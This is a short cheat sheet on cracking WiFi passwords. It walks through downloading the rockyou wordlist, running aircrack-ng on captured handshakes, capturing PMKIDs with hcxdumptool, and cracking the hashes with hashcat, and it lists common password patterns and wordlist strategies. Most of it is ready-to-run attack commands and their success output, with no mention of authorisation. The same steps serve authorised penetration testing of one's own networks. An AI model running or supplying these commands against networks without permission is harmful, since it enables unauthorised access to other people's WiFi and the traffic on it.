

Password Cracking & Wordlists Quick Reference

Rockyou Wordlist Setup

Download & Install

```
bash

cd /tmp
wget https://github.com/brannondorsey/naive-hashcat/\
releases/download/data/rockyou.txt
sudo mkdir -p /usr/share/wordlists
sudo mv rockyou.txt /usr/share/wordlists/
wc -l /usr/share/wordlists/rockyou.txt
```

Basic Password Cracking

Aircrack-ng (CPU)

```
bash

sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt \
[handshake-file].cap
```

Hashcat Installation

```
bash

sudo apt update
sudo apt install hashcat
```

Hashcat (GPU Accelerated)

```
bash

hashcat -m 22000 [hash-file].txt \
/usr/share/wordlists/rockyou.txt
```

PMKID Attack (Advanced)

Install Tools

```
bash  
  
sudo apt install hcxtools
```

Capture PMKIDs

```
bash  
  
sudo hcxdumptool -i [monitor-interface] \  
-o pmkid-capture.pcapng --enable_status=1
```

Convert to Hashcat

```
bash  
  
hcxpcapngtool -o hashes.txt pmkid-capture.pcapng
```

Common WiFi Password Patterns

- **Company + Year:** TechCorp2024, Office2025
- **Location + Numbers:** Building123, Amsterdam456
- **Router + Numbers:** Netgear789, Linksys321
- **Simple Patterns:** wifi123, internet456, password123

Wordlist Strategy

1. **Small targeted** (minutes) - Top 1000 passwords
2. **Medium lists** (hours) - Rockyou.txt
3. **Large lists** (days) - Billions of passwords
4. **Rule-based** (varies) - Multiply existing lists

Tool Comparison

Tool	Speed	Hardware	Best For
aircrack-ng	Slow	CPU only	Basic testing

Tool	Speed	Hardware	Best For
hashcat	Fast	CPU + GPU	Professional cracking

Success Indicators

Aircrack-ng Success

KEY FOUND! [password123]

Hashcat Success

Status.....: Cracked

Common Failure Reasons

- Password not in wordlist
- Need larger/different wordlist
- Password truly random (rare)